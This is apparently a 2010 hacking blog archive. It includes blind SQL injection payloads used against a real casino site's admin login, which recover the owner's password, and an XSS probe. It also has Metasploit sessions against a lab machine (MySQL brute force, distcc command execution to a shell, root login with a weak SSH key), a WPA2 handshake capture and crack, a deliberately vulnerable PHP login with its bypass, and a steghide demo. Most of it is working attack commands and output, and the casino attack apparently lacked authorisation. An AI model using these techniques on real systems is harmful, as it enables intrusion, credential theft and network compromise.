Hacking a Casino!!

July 4, 2010 at 11:50 pm (.NET, Programming, Security, SQL, SQL Injection)

Hey,

So I was playing around with a friends website the other day and managed to break into the ‘admin’ area. I thought I should write a quick post to explain how I managed to do this.

First of all, I am not going to disclose the link to you all for obvious reasons so the link in the examples will actually be commented out. Anyway, a little about the website in question. It is a casino website that is written in mainly Flash with a little ASP.net relying on an MSSQL database. The main casino login was protected pretty well. I decided to fuzz for other directories and found the obvious one: /admin/. This was the login page to the backend of the casino, much more fun than the frontend login, at least that’s what I thought 🙂 So, onto the hack…

When you visit:

http://www.xxx.co.uk/admin/login.aspx

You are presented with a login page that simply has a Username and Password form with a login and reset button. Right underneath the login/reset buttons was a string that said “username not found” or “password not found”, depending on which was correct or not. This enabled me to test the SQL injection and see if my queries were true or false. My friends name was Nigel Davies, I tried a combination of usernames that I thought he would use and stumbled across: “nigel_d”. How did I know that this was the correct username? Well I first of all started entering usernames and passwords, not to try and guess them but to see how the form reacted to different inputs, I got the following when I entered an incorrect username:

“username not found”

No surprises there then, however when I tried the “nigel_d” username and a random password I was presented with:

“wrong password”

Bingo! We now know the username “nigel_d” is valid 🙂

I then went on to test for SQL injections, my first point of call was the normal:

Username: ‘
Password: ‘

And I received the following page back:

Server Error in ‘/’ Application.
Unclosed quotation mark after the character string ”’.
Incorrect syntax near ”’.
Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark after the character string ”’.
Incorrect syntax near ”’.

Source Error:

Line 29: con.Open()
Line 30: cmdSelect = New SqlCommand(“Select * From tb_CP_control where username= ‘” & username & “‘”, con)
Line 31: rd = cmdSelect.ExecuteReader()
Line 32: rd.Read()
Line 33: If rd.HasRows = True Then

Stack Trace:

[SqlException (0x80131904): Unclosed quotation mark after the character string ”’.
Incorrect syntax near ”’.]
System.Data.SqlClient.SqlConnection.OnError(SqlException exception, Boolean breakConnection) +1950890
System.Data.SqlClient.SqlInternalConnection.OnError(SqlException exception, Boolean breakConnection) +4846875
System.Data.SqlClient.TdsParser.ThrowExceptionAndWarning(TdsParserStateObject stateObj) +194
System.Data.SqlClient.TdsParser.Run(RunBehavior runBehavior, SqlCommand cmdHandler, SqlDataReader dataStream, BulkCopySimpleResultSet bulkCopyHandler, TdsParserStateObject stateObj) +2392
System.Data.SqlClient.SqlDataReader.ConsumeMetaData() +33
System.Data.SqlClient.SqlDataReader.get_MetaData() +83
System.Data.SqlClient.SqlCommand.FinishExecuteReader(SqlDataReader ds, RunBehavior runBehavior, String resetOptionsString) +297
System.Data.SqlClient.SqlCommand.RunExecuteReaderTds(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, Boolean async) +954
System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String method, DbAsyncResult result) +162
System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String method) +32
System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior, String method) +141
System.Data.SqlClient.SqlCommand.ExecuteReader() +89
ASP.admin_login_aspx.__Render__control1(HtmlTextWriter __w, Control parameterContainer) in e:\domains\c\xxx.co.uk\user\htdocs\admin\login.aspx:31
System.Web.UI.Control.RenderChildrenInternal(HtmlTextWriter writer, ICollection children) +256
System.Web.UI.Control.RenderChildren(HtmlTextWriter writer) +19
System.Web.UI.Page.Render(HtmlTextWriter writer) +29
System.Web.UI.Control.RenderControlInternal(HtmlTextWriter writer, ControlAdapter adapter) +27
System.Web.UI.Control.RenderControl(HtmlTextWriter writer, ControlAdapter adapter) +99
System.Web.UI.Control.RenderControl(HtmlTextWriter writer) +25
System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +1266

Version Information: Microsoft .NET Framework Version:2.0.50727.3603; ASP.NET Version:2.0.50727.3082

Woohoo, look at all that juicy information! What have we got here then, the first interesting part is:

Line 29: con.Open()
Line 30: cmdSelect = New SqlCommand(“Select * From tb_CP_control where username= ‘” & username & “‘”, con)
Line 31: rd = cmdSelect.ExecuteReader()
Line 32: rd.Read()
Line 33: If rd.HasRows = True Then

This shows us the actual SQL statement being executed:

Select * From tb_CP_control where username= ‘” & username & “‘

This is almost certainly vulnerable to SQL injection attacks 🙂 The next interesting part is this:

Source File: e:\domains\c\xxx.co.uk\user\htdocs\admin\login.aspx Line: 31

Path disclosure. This tells me that it is a shared hosting environment because of the order of the path, domains, first letter of the domains, domain itself, so on and so forth. Also looking at the whois information for the domain shows it is registered and hosted with a fairly well known hosting company. That would be interesting if the scope of the test was the whole server itself.. however I am just playing with my friends website, so we will get back on track…

The problem we have here, is the Username field is vulnerable to SQL injection, however the Password field is not. So the only option I can think of, is to use the username field to bruteforce the password.. sounds good, let’s give it a try…

So let’s try bruteforcing the password then (I am using the FireFox plugin HackBar to aid me in this, so the SQL will be a copy and paste from what I enter in there):

user=’ or 1=1 and password like ‘a%’– &passwd=a

What happens here is we broaden the select statement to include all users with the (‘ or 1=1) meaning true, then we narrow the select statement so we only receive the ones with a password matching our pattern using the like statement. Like uses two different wild cards ‘_’ for single letters and ‘%’ for any strings (without the quotes).

So we are testing to see if any users passwords begin with ‘a’. We can now go through all characters a-zA-Z0-9 to find ones that match and that will make up our password. There is a way to speed things up here, such as using upper(password) and then passing ‘A%’ and &passwd=A. This then means we only have to go through characters A-Z0-9, which is a lot quicker. So moving on, after we enter the SQL statement above we get the following returned on the page:

“username not found”

Which means the letter a doesn’t match any users first character of their passwords. Let’s move onto the next character:

user=’ or 1=1 and upper(password) like ‘B%’– &passwd=B

Which gives us:

“username not found”

Still no characters matching 😦 moving on and leaving out a few to keep the post short:

user=’ or 1=1 and upper(password) like ‘N%’– &passwd=N

This gives us something slightly different:

“wrong password”

Now this means it matched the first character to a user’s password, however its incomplete so the wrong password message is displayed. Now we know that the first character of the password is an ‘n’. Onto the 2nd character of the password:

user=’ or 1=1 and upper(password) like ‘NA%’– &passwd=NA

Which in return gives us:

“username not found”

Now we just iterate through all the chracters until we get the “wrong password” string returned:

user=’ or 1=1 and upper(password) like ‘NI%’– &passwd=NI

Which gives us:

“wrong password”

Excellent, we now have the second character. We basically repeat this process until it logs us into the admin area. What happens is when you hit the end character of the password, the password is correct and when you execute the statement it logs you in, I managed to get into the admin area with the following statement:

user=’ or 1=1 and password like ‘niggle%’– &passwd=niggle

So it turns out his password was ‘niggle’ 🙂 When I was doing this, I noticed something pretty bad about the way the message was displayed on the page (when you got either “wrong username” or “wrong password”) take a look at the URL that you get when it returns these strings:

http://www.xxx.co.uk/admin/index.asp?msg=wrong%20password

I smell, XSS… let’s give it a whirl 🙂

http://www.xxx.co.uk/admin/index.asp?msg=%22zoidberg%20pwnz%20j00%22

And low and behold, “zoidberg pwnz j00” gets returned as the string on the page, haha. Returning to the SQL injection, here are a few more tricks to speed things up, if you wanna guess the password as a whole string you could use the following method:

user=fake_user’ OR (SELECT 1 From tb_CP_control where SUBSTRING(password,1,3) = ‘abc’ ) = 1 — &passwd=test

Which returns:

“username not found”

Because the password doesn’t match, however, if we try characters from the real password:

user=fake_user’ OR (SELECT 1 From tb_CP_control where SUBSTRING(password,1,3) = ‘nig’ ) = 1 — &passwd=test

We get:

“wrong password”

Excellent, so we can test it with this:

user=fake_user’ OR (SELECT 1 From tb_CP_control where SUBSTRING(password,1,5) = ‘niggl’ ) = 1 — &passwd=test

“wrong password”

user=fake_user’ OR (SELECT 1 From tb_CP_control where SUBSTRING(password,1,6) = ‘niggle’ ) = 1 — &passwd=test

“wrong password”

user=fake_user’ OR (SELECT 1 From tb_CP_control where SUBSTRING(password,1,6) = ‘nigglea’ ) = 1 — &passwd=test

“username not found”

So as you can see that definatley confirms that ‘niggle’ is the password. Also a quick way to check the password length before doing the bruteforce so you know how many characters there are is:

user=fake_user’ OR (SELECT LEN(password) From tb_CP_control ) = 1 –&passwd=test

“username not found”

user=fake_user’ OR (SELECT LEN(password) From tb_CP_control ) = 2 –&passwd=test

“username not found”

user=fake_user’ OR (SELECT LEN(password) From tb_CP_control ) = 5 –&passwd=test

“username not found”

user=fake_user’ OR (SELECT LEN(password) From tb_CP_control ) = 6 –&passwd=test

“wrong password”

user=fake_user’ OR (SELECT LEN(password) From tb_CP_control ) = 7 –&passwd=test

“username not found”

So as you can see from the above statements 5 is false, 6 is true and 7 is false, meaning the password length is 6 characters long, which ties in with the password being ‘niggle’.

I had a lot of fun playing around with this site, hope it helps someone out. Until the next time…

Permalink Leave a Comment

Bruteforce MySQL Using Metasploit…

July 3, 2010 at 11:52 am (Metasploit, Security)

Hey guys,

I will demonstrate how to brute force MySQL logins using Metasploit. This is again another attack against the Metasploitable distribution I mentioned in my previous post. This is very simple and shouldn’t take long to demonstrate, so here goes:

root@bt:/pentest/exploits/framework3# ./msfconsole

__. .__. .__. __.
_____ _____/ |______ ____________ | | ____ |__|/ |_
/ \_/ __ \ __\__ \ / ___/\____ \| | / _ \| \ __\
| Y Y \ ___/| | / __ \_\___ \ | |_> > |_( ) || |
|__|_| /\___ >__| (____ /____ >| __/|____/\____/|__||__|
\/ \/ \/ \/ |__|


=[ metasploit v3.4.1-dev [core:3.4 api:1.0]
+ -- --=[ 566 exploits - 276 auxiliary
+ -- --=[ 210 payloads - 27 encoders - 8 nops
=[ svn r9671 updated today (2010.07.03)

msf > search mysql
[*] Searching loaded modules for pattern 'mysql'...

Auxiliary
=========

Name Rank Description
---- ---- -----------
admin/mysql/mysql_enum normal MySQL Enumeration Module
admin/mysql/mysql_sql normal MySQL SQL Generic Query
admin/tikiwiki/tikidblib normal TikiWiki information disclosure
scanner/mysql/mysql_login normal MySQL Login Utility
scanner/mysql/mysql_version normal MySQL Server Version Enumeration

Exploits
========

Name Rank Description
---- ---- -----------
linux/mysql/mysql_yassl_getname good MySQL yaSSL CertDecoder::GetName Buffer Overflow
linux/mysql/mysql_yassl_hello good MySQL yaSSL SSL Hello Message Buffer Overflow
windows/mysql/mysql_yassl_hello average MySQL yaSSL SSL Hello Message Buffer Overflow

msf > use scanner/mysql/mysql_login
msf auxiliary(mysql_login) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS true yes Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
PASSWORD no A specific password to authenticate with
PASS_FILE no File containing passwords, one per line
RHOSTS yes The target address range or CIDR identifier
RPORT 3306 yes The target port
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads
USERNAME no A specific username to authenticate as
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts

msf auxiliary(mysql_login) > set PASS_FILE /root/password.txt
PASS_FILE => /root/password.txt
msf auxiliary(mysql_login) > set USER_FILE /root/users.txt
USER_FILE => /root/users.txt
msf auxiliary(mysql_login) > set RHOSTS 10.113.8.102
RHOSTS => 10.113.8.102
msf auxiliary(mysql_login) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS true yes Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
PASSWORD no A specific password to authenticate with
PASS_FILE /root/password.txt no File containing passwords, one per line
RHOSTS 10.113.8.102 yes The target address range or CIDR identifier
RPORT 3306 yes The target port
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads
USERNAME no A specific username to authenticate as
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_FILE /root/users.txt no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts

msf auxiliary(mysql_login) > exploit

[*] 10.113.8.102:3306 - Found remote MySQL version 5.0.51a
[*] 10.113.8.102:3306 Trying username:'admin' with password:''
[*] 10.113.8.102:3306 failed to login as 'admin' with password ''
[*] 10.113.8.102:3306 Trying username:'root' with password:''
[*] 10.113.8.102:3306 failed to login as 'root' with password ''
[*] 10.113.8.102:3306 Trying username:'god' with password:''
[*] 10.113.8.102:3306 failed to login as 'god' with password ''
[*] 10.113.8.102:3306 Trying username:'systemadm' with password:''
[*] 10.113.8.102:3306 failed to login as 'systemadm' with password ''
[*] 10.113.8.102:3306 Trying username:'daemon' with password:''
[*] 10.113.8.102:3306 failed to login as 'daemon' with password ''
[*] 10.113.8.102:3306 Trying username:'admin' with password:'pass'
[*] 10.113.8.102:3306 failed to login as 'admin' with password 'pass'
[*] 10.113.8.102:3306 Trying username:'admin' with password:'password'
[*] 10.113.8.102:3306 failed to login as 'admin' with password 'password'
[*] 10.113.8.102:3306 Trying username:'admin' with password:'PASSWD'
[*] 10.113.8.102:3306 failed to login as 'admin' with password 'PASSWD'
[*] 10.113.8.102:3306 Trying username:'admin' with password:'passwd'
[*] 10.113.8.102:3306 failed to login as 'admin' with password 'passwd'
[*] 10.113.8.102:3306 Trying username:'admin' with password:'Password'
[*] 10.113.8.102:3306 failed to login as 'admin' with password 'Password'
[*] 10.113.8.102:3306 Trying username:'admin' with password:'admin'
[*] 10.113.8.102:3306 failed to login as 'admin' with password 'admin'
[*] 10.113.8.102:3306 Trying username:'admin' with password:'root'
[*] 10.113.8.102:3306 failed to login as 'admin' with password 'root'
[*] 10.113.8.102:3306 Trying username:'admin' with password:'adminadmin'
[*] 10.113.8.102:3306 failed to login as 'admin' with password 'adminadmin'
[*] 10.113.8.102:3306 Trying username:'root' with password:'pass'
[*] 10.113.8.102:3306 failed to login as 'root' with password 'pass'
[*] 10.113.8.102:3306 Trying username:'root' with password:'password'
[*] 10.113.8.102:3306 failed to login as 'root' with password 'password'
[*] 10.113.8.102:3306 Trying username:'root' with password:'PASSWD'
[*] 10.113.8.102:3306 failed to login as 'root' with password 'PASSWD'
[*] 10.113.8.102:3306 Trying username:'root' with password:'passwd'
[*] 10.113.8.102:3306 failed to login as 'root' with password 'passwd'
[*] 10.113.8.102:3306 Trying username:'root' with password:'Password'
[*] 10.113.8.102:3306 failed to login as 'root' with password 'Password'
[*] 10.113.8.102:3306 Trying username:'root' with password:'admin'
[*] 10.113.8.102:3306 failed to login as 'root' with password 'admin'
[*] 10.113.8.102:3306 Trying username:'root' with password:'root'
[+] 10.113.8.102:3306 - SUCCESSFUL LOGIN 'root' : 'root'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(mysql_login) >

Bingo! We found the root password which is simply ‘root’ 🙂 Now let’s double check this:

root@bt:/pentest/exploits/framework3# mysql -h 10.113.8.102 -u root -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 53
Server version: 5.0.51a-3ubuntu5 (Ubuntu)

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| tikiwiki |
| tikiwiki195 |
+--------------------+
4 rows in set (0.01 sec)

mysql>

Now we have complete control over their database, yay! 🙂

Permalink 6 Comments

Hacking distcc with Metasploit…

July 3, 2010 at 11:27 am (Metasploit, Security)

Hey,

I have been playing around with Metasploitable. This is a test system produced by the Metasploit team that is very vulnerable. One of the services it is running is distcc. Today I will show you how to own it using Metasploit…

First of all we shall start with a port scan of the system:

root@bt:~# nmap -sV -sS -p1-65535 10.113.8.102

Starting Nmap 5.21 ( http://nmap.org ) at 2010-07-03 11:04 BST
Nmap scan report for ml-dkelly.messagelabs.com (10.113.8.102)
Host is up (0.0034s latency).
Not shown: 65522 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.1
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch)
139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp open postgresql PostgreSQL DB
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:9F:54:C9 (VMware)
Service Info: Host: metasploitable.localdomain; OSs: Unix, Linux

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.45 seconds
root@bt:~#

We are most interested in the following line:

3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))

Right, so let’s fire up Metasploit then:

root@bt:/pentest/exploits/framework3# ./msfconsole

____________

------------
\ ,__,
\ (oo)____
(__) )\
||--|| *


=[ metasploit v3.4.1-dev [core:3.4 api:1.0]
+ -- --=[ 566 exploits - 276 auxiliary
+ -- --=[ 210 payloads - 27 encoders - 8 nops
=[ svn r9671 updated today (2010.07.03)

msf > search distcc
[*] Searching loaded modules for pattern ‘distcc’…

Exploits
========

Name Rank Description
---- ---- -----------
unix/misc/distcc_exec excellent DistCC Daemon Command Execution

msf > use unix/misc/distcc_exec
msf exploit(distcc_exec) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 3632 yes The target port


Exploit target:

Id Name
-- ----
0 Automatic Target

msf exploit(distcc_exec) > set RHOST 10.113.8.102
RHOST => 10.113.8.102
msf exploit(distcc_exec) > show payloads

Compatible Payloads
===================

Name Rank Description
---- ---- -----------
cmd/unix/bind_perl normal Unix Command Shell, Bind TCP (via perl)
cmd/unix/bind_ruby normal Unix Command Shell, Bind TCP (via Ruby)
cmd/unix/generic normal Unix Command, Generic command execution
cmd/unix/reverse normal Unix Command Shell, Double reverse TCP (telnet)
cmd/unix/reverse_perl normal Unix Command Shell, Reverse TCP (via perl)
cmd/unix/reverse_ruby normal Unix Command Shell, Reverse TCP (via Ruby)

msf exploit(distcc_exec) > set payload cmd/unix/bind_perl
payload => cmd/unix/bind_perl
msf exploit(distcc_exec) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 10.113.8.102 yes The target address
RPORT 3632 yes The target port

Payload options (cmd/unix/bind_perl):

Name Current Setting Required Description
---- --------------- -------- -----------
LPORT 4444 yes The listen port
RHOST 10.113.8.102 no The target address

Exploit target:

Id Name
-- ----
0 Automatic Target

msf exploit(distcc_exec) > exploit

[*] Started bind handler
[*] Command shell session 1 opened (10.113.10.116:55064 -> 10.113.8.102:4444) at Sat Jul 03 11:54:29 +0100 2010

whoami; uname -ar
daemon
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
cat /root/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable

Excellent, so we managed to get a bind shell working and now have command execution on the target system.. but what else can we do? Well we should be able to use their ssh key and login as root. First we must download: debian_ssh_rsa_2048_x86.tar.bz2. You can quickly pop that into google and find a place to download such as here. Once you have downloaded it, un-compress it, then perform the following steps:

* SNIP *
rsa/2048/22395760ea6265919ef5db8d26dda56c-17578
rsa/2048/e311fc52da0d062cd6e9a507a7470db8-15835.pub
rsa/2048/ae88b6e25a832541ac60978e90fb40fe-28014
rsa/2048/759ee1c853d2fcc07a13e6867ed75a35-26843
rsa/2048/22817b9fcfca9c043d6d48dac528b0a6-3298
rsa/2048/cd84c0196af31046b45037f39208c9c1-11710
rsa/2048/9634a42c34d72e776593a9f1ddd38085-2633
rsa/2048/1668b5d4171480a6359c0966ded47550-15730
rsa/2048/b8a7774ef9e5b9b2b73a685e509b899b-2131
root@bt:~/rsa/2048# grep -lir AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w *.pub

57c3115d77c56390332dc5c49978627a-5429.pub
root@bt:~/rsa/2048# ssh -i 57c3115d77c56390332dc5c49978627a-5429 root@10.113.8.102
Last login: Sat Jul 3 07:01:04 2010 from 10.113.10.116
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have mail.
root@metasploitable:~#

So we managed to get a shell on the vulnerable system 🙂

Permalink 1 Comment

Hacking WPA2 Wireless Networks…

June 20, 2010 at 7:17 pm (Security, Wireless)

Hey,

I decided to document how to break into a WPA2 enabled wireless network, so I setup my LinkSys WRT54G wireless router over the weekend, here is how I broke into it:

root@bt:~# airmon-ng stop wlan0
Interface Chipset Driver
wlan0 ZyDAS 1211 zd1211rw - [phy1]
(monitor mode disabled)

Start the wireless card in monitor mode:

root@bt:~# airmon-ng start wlan0
Interface Chipset Driver
wlan0 ZyDAS 1211 zd1211rw - [phy1]
(monitor mode enabled on mon0)

Now we want to run airodump-ng and filter out all the other access points and clients so that we only capture the handshake for our target access point (HackMe):

root@bt:~# airodump-ng --bssid 00:0C:41:9D:C7:5C --channel 6 --write HackMe-Demo mon0

CH 6 ][ Elapsed: 32 s ][ 2010-06-20 19:44 ][ WPA handshake: 00:0C:41:9D:C7:5C

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:0C:41:9D:C7:5C 0 100 316 38 0 6 54 WPA2 CCMP PSK HackMe]

BSSID STATION PWR Rate Lost Packets Probes

00:0C:41:9D:C7:5C 00:21:5C:90:2D:89 0 1 - 1 126 456 HackMe

root@bt:~#

Whilst we leave airodump-ng capturing packets and waiting for the WPA Handshake, we can speed things up a little using aireplay-ng. We can force one of the associated clients to de-auth and it will automatically re-authenticate itself with the access point allowing us to capture the WPA Handshake:

root@bt:~# aireplay-ng -0 1 -a 00:0C:41:9D:C7:5C -c 00:21:5C:90:2D:89 mon0
19:44:42 Waiting for beacon frame (BSSID: 00:0C:41:9D:C7:5C) on channel 6
19:44:43 Sending 64 directed DeAuth. STMAC: [00:21:5C:90:2D:89] [126|184 ACKs]
root@bt:~# aireplay-ng -0 1 -a 00:0C:41:9D:C7:5C -c 00:21:5C:90:2D:89 mon0
19:44:48 Waiting for beacon frame (BSSID: 00:0C:41:9D:C7:5C) on channel 6
19:44:48 Sending 64 directed DeAuth. STMAC: [00:21:5C:90:2D:89] [ 0|169 ACKs]
root@bt:~# aireplay-ng -0 1 -a 00:0C:41:9D:C7:5C -c 00:21:5C:90:2D:89 mon0
19:44:50 Waiting for beacon frame (BSSID: 00:0C:41:9D:C7:5C) on channel 6
19:44:51 Sending 64 directed DeAuth. STMAC: [00:21:5C:90:2D:89] [185|179 ACKs]
root@bt:~#

Excellent, as you can see we managed to capture the WPA Handshake, let’s crack it and get the WPA passphrase we can then use to connect to the wireless network:

CH 6 ][ Elapsed: 32 s ][ 2010-06-20 19:44 ][ WPA handshake: 00:0C:41:9D:C7:5C


root@bt:~# aircrack-ng -a 2 -b 00:0C:41:9D:C7:5C -e HackMe -w password.txt HackMe-Demo-01.cap
Opening HackMe-Demo-01.cap
Reading packets, please wait...


Aircrack-ng 1.1 r1729


[00:00:00] 4 keys tested (67.32 k/s)


KEY FOUND! [ password ]


Master Key : 52 EC 07 C0 95 E6 7B 26 DD 40 59 67 10 7C F6 F7
BE EF E6 66 8D 70 A6 1C 56 BE F5 DD A2 B8 5D 32

Transient Key : 41 3E E2 11 47 CA DA EC 39 FA B8 23 79 4C 01 6A
AC B3 C0 45 FE 62 3F BF 4F 0A A9 B0 63 A1 AC 2E
D4 9C C6 09 C1 A9 82 A8 68 1B 71 BC 65 72 BE 97
C6 A8 2F A9 12 DA 08 C6 73 A5 90 DD E9 EF 5F 66

EAPOL HMAC : CA E1 1F 29 45 9A 1D 5D 1B 25 BF 51 92 1A 95 A9
root@bt:~#

Yay! We got the passphrase, which was “password” 🙂

Permalink 3 Comments

SQLi: Silly PHP Authentication…

June 18, 2010 at 10:37 pm (Programming, Security, SQL, SQL Injection)

Hey,

I wrote a silly little PHP based authentication page. It uses a MySQL database to store the username and password, presents the user with a login prompt where they can enter their login credentials. If they don’t have any then they can take advantage of it using SQL Injection, let’s take a quick look at it. First you will need to create a MySQL database:

mysql> create table userauth (id TINYINT UNSIGNED NOT NULL AUTO_INCREMENT, username VARCHAR(16) NOT NULL, pswd VARCHAR(32) NOT NULL, PRIMARY KEY(id));
Query OK, 0 rows affected (0.00 sec)
mysql> insert into userauth (id, username, pswd) values (1, "zoidberg", "password");
Query OK, 1 row affected (0.00 sec)
mysql> select * from userauth;
+----+----------+----------+
| id | username | pswd |
+----+----------+----------+
| 1 | zoiddberg | password |
+----+----------+----------+
1 row in set (0.00 sec)
mysql>

Now to create the login page:

<?php
function authenticate_user()
{
header('WWW-Authenticate: Basic realm="Private Area"');
header("HTTP/1.0 401 Unauthorized");
exit;
}
if (!isset($_SERVER['PHP_AUTH_USER'])) {
authenticate_user();
} else {
mysql_connect("database_host", "database_username", "database_password") or die("Can't connect to the fucking database, blaaad!");
mysql_select_db("database_name") or die("Can't select da fucking database b0ss!");
$query = "SELECT username, pswd FROM table_name WHERE username='$_SERVER[PHP_AUTH_USER]' AND pswd='$_SERVER[PHP_AUTH_PW]'";
$result = mysql_query($query);
if (mysql_num_rows($result) == 0) {
authenticate_user();
} else {
echo "Welcome to the Private Area... :-)";
}
}
?>

Now to take advantage 🙂 Navigate to the page in your browser, and enter the following in the username field:

' OR '1'='1'--

To understand this let’s take a look at the MySQL query:

$query = "SELECT username, pswd FROM table_name WHERE username='$_SERVER[PHP_AUTH_USER]' AND pswd='$_SERVER[PHP_AUTH_PW]'";

So that is what the query looks like, well when we inject ‘ OR ‘1’=’1′– into the username field, it then looks like this:

$query = "SELECT username, pswd FROM table_name WHERE username='' OR '1'='1'-- AND pswd='$_SERVER[PHP_AUTH_PW]'";

Remember that — is a MySQL comment, so everything after it gets left out of the query that gets sent to the database. So our query which gets passed to the database looks like this:

$query = "SELECT username, pswd FROM table_name WHERE username='' OR '1'='1'--

What happens here is, select username and password from table_name where username is nothing OR true.. this will result in a successful login and give you access to the Private Area 🙂 very simple and contrived example.

Permalink 1 Comment

Steghide

June 16, 2010 at 8:12 am (Encryption, Security, Steganography)

Hey,

I have been playing around with a Steganography program called: steghide. It is pretty neat. It allows you to encrypt a piece of data and hide it an image, the formats that it supports are: JPEG, BMP, WAV and AU file formats. It works using Graph Theory approach to Steganography. Here is an explanation of how it works extracted from the man page (please see “man steghide” for more information):

At first, the secret data is compressed and encrypted. Then a sequence of positions of pixels in the cover file is created based on a pseudo-random number generator initialized with the passphrase (the secret data will be embedded in the pixels at these positions). Of these positions those that do not need to be changed (because they already contain the correct value by chance) are sorted out. Then a graph-theoretic matching algorithm finds pairs of positions such that exchanging their values has the effect of embedding the corresponding part of the secret data. If the algorithm cannot find any more such pairs all exchanges are actually performed. The pixels at the remaining positions (the positions that are not part of such a pair) are also modified to contain the embedded data (but this is done by overwriting them, not by exchanging them with other pixels). The fact that (most of) the embedding is done by exchanging pixel values implies that the first-order statistics (i.e. the number of times a color occurs in the picture) is not changed. For audio files the algorithm is the same, except that audio samples are used instead of pixels.

Here is an example of using steghide to hide a text file:


[Wed Jun 16 09:00:30]
[zoidberg@/dev/null:~/steg ] $ echo "Secret data..." > secret.txt

[Wed Jun 16 09:00:33]
[zoidberg@/dev/null:~/steg ] $ ls -l
total 24
-rw-r--r-- 1 zoidberg zoidberg 19604 2010-06-16 08:59 picture.jpg
-rw-r--r-- 1 zoidberg zoidberg 15 2010-06-16 09:00 secret.txt

[Wed Jun 16 09:00:35]
[zoidberg@/dev/null:~/steg ] $ file picture.jpg secret.txt
picture.jpg: JPEG image data, JFIF standard 1.01
secret.txt: ASCII text

[Wed Jun 16 09:00:41]
[zoidberg@/dev/null:~/steg ] $ steghide embed -cf picture.jpg -ef secret.txt
Enter passphrase:
Re-Enter passphrase:
embedding "secret.txt" in "picture.jpg"... done

[Wed Jun 16 09:01:16]
[zoidberg@/dev/null:~/steg ] $ rm secret.txt

